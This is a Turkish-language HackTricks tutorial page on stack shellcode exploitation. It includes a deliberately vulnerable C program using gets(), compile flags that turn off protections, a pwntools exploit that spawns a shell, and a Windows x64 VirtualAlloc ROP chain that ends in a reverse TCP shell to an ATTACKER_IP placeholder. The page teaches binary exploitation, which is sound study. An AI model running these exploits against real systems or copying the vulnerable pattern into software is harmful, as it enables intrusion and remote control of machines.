Stack Shellcode
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Stack shellcode, saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu adresi işaret etmesi için Instruction Pointer (IP) veya Extended Instruction Pointer (EIP)'yi değiştirdiği binary exploitation'de kullanılan bir tekniktir; bu, shellcode'un çalışmasına neden olur. Bu, hedef sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin adım adım açıklaması, basit bir C örneği ve Python ile pwntools kullanarak nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır.
C Örneği: Bir Zafiyetli Program
Basit bir zafiyetli C programı örneğiyle başlayalım:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Bu program, gets()
fonksiyonunun kullanımı nedeniyle bir buffer overflow zafiyetine sahiptir.
Derleme
Bu programı çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Stack korumasını devre dışı bırakır.-z execstack
: Stack'i yürütülebilir hale getirir; bu, stack üzerinde depolanan shellcode'un çalıştırılması için gereklidir.-no-pie
: Position Independent Executable'i (PIE) devre dışı bırakır; shellcode'un bellekte bulunacağı adresi tahmin etmeyi kolaylaştırır.-m32
: Programı 32-bit bir yürütülebilir olarak derler; exploit geliştirmede genellikle basitlik için kullanılır.
Pwntools kullanarak Python exploit
Aşağıda pwntools kullanarak bir ret2shellcode saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğiniz gösterilmektedir:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
This script, bir NOP slide, shellcode ve ardından EIP'yi NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalıştırılmasını sağlayan bir payload oluşturur.
The NOP slide (asm('nop')
) tam adresten bağımsız olarak yürütmenin shellcode'umuza "slide" yapma ihtimalini artırmak için kullanılır. p32()
argümanını buffer'ınızın başlangıç adresine ek bir offset ekleyerek NOP slide'a düşecek şekilde ayarlayın.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Modern Windows'ta stack non-executable (DEP/NX) olarak ayarlıdır. Stack BOF'tan sonra stack-resident shellcode'u yine de çalıştırmanın yaygın bir yolu, module Import Address Table (IAT) içinden VirtualAlloc (veya VirtualProtect) çağıran bir 64-bit ROP zinciri inşa etmek, stack'in bir bölgesini executable hale getirmek ve ardından zincirin hemen sonrasına eklenmiş shellcode'a dönmektir.
Önemli noktalar (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → mevcut stack'te bir adres seçin (ör. RSP) böylece yeni ayrılan RWX bölgesi payload'unuzla çakışsın
- RDX = dwSize → zinciriniz + shellcode için yeterince büyük (ör. 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Zincirin hemen sonrasına yerleştirilmiş shellcode'a doğrudan dönün.
Minimal strateji:
- Leak a module base elde edin (ör. format-string, object pointer, vb.) ve ASLR altında mutlak gadget ve IAT adreslerini hesaplayın.
- RCX/RDX/R8/R9'i yüklemek için gadget'lar bulun (pop veya mov/xor tabanlı diziler) ve call/jmp [VirtualAlloc@IAT]. Eğer doğrudan pop r8/r9 yoksa, sabitleri sentezlemek için aritmetik gadget'lar kullanın (ör. r8=0 yapıp r9'a 0x40'ı kırk kez ekleyerek 0x1000'e ulaşmak).
- Stage-2 shellcode'u zincirin hemen sonrasına yerleştirin.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Kısıtlı bir gadget set ile register değerlerini dolaylı olarak oluşturabilirsiniz; örneğin:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i gereksiz bir qword ile telafi eder.
- xor rbx, rsp; ret → rbx'i mevcut stack pointer ile başlatır.
- push rbx; pop rax; mov rcx, rax; ret → RSP'den türeyen değeri RCX'e taşır.
Pwntools taslağı (bilinen bir base ve gadgets verildiğinde):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
İpuçları:
-
VirtualProtect benzer şekilde çalışır; mevcut bir buffer'ı RX yapmak tercih edilirse parametre sırası farklıdır.
-
Eğer stack alanı dar ise RWX'i başka bir yerde ayırın (RCX=NULL) ve stack'i yeniden kullanmak yerine o yeni bölgeye jmp yapın.
-
RSP'yi ayarlayan gadget'ları (ör. add rsp, 8; ret) her zaman hesaba katın; araya çöp qword'lar ekleyin.
-
ASLR devre dışı bırakılmalıdır ki adres çalıştırmalar arasında güvenilir olsun; aksi takdirde fonksiyonun depolanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini anlamak için bir leak gerekir.
-
Stack Canaries ayrıca devre dışı bırakılmalıdır; aksi halde bozulmuş EIP dönüş adresi asla takip edilmeyecektir.
-
NX stack koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR ile stack adres leak'i; shellcode yazıp ona jump yapılmasını gösterir
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR ile stack leak; shellcode yazıp ona jump yapılması
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR ile stack leak; exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle üzerine yazma, shellcode yazıp ona jump yapılması
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok; stack'i executable yapmak için ROP gadget ve stack'teki shellcode'a jump yapılması
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.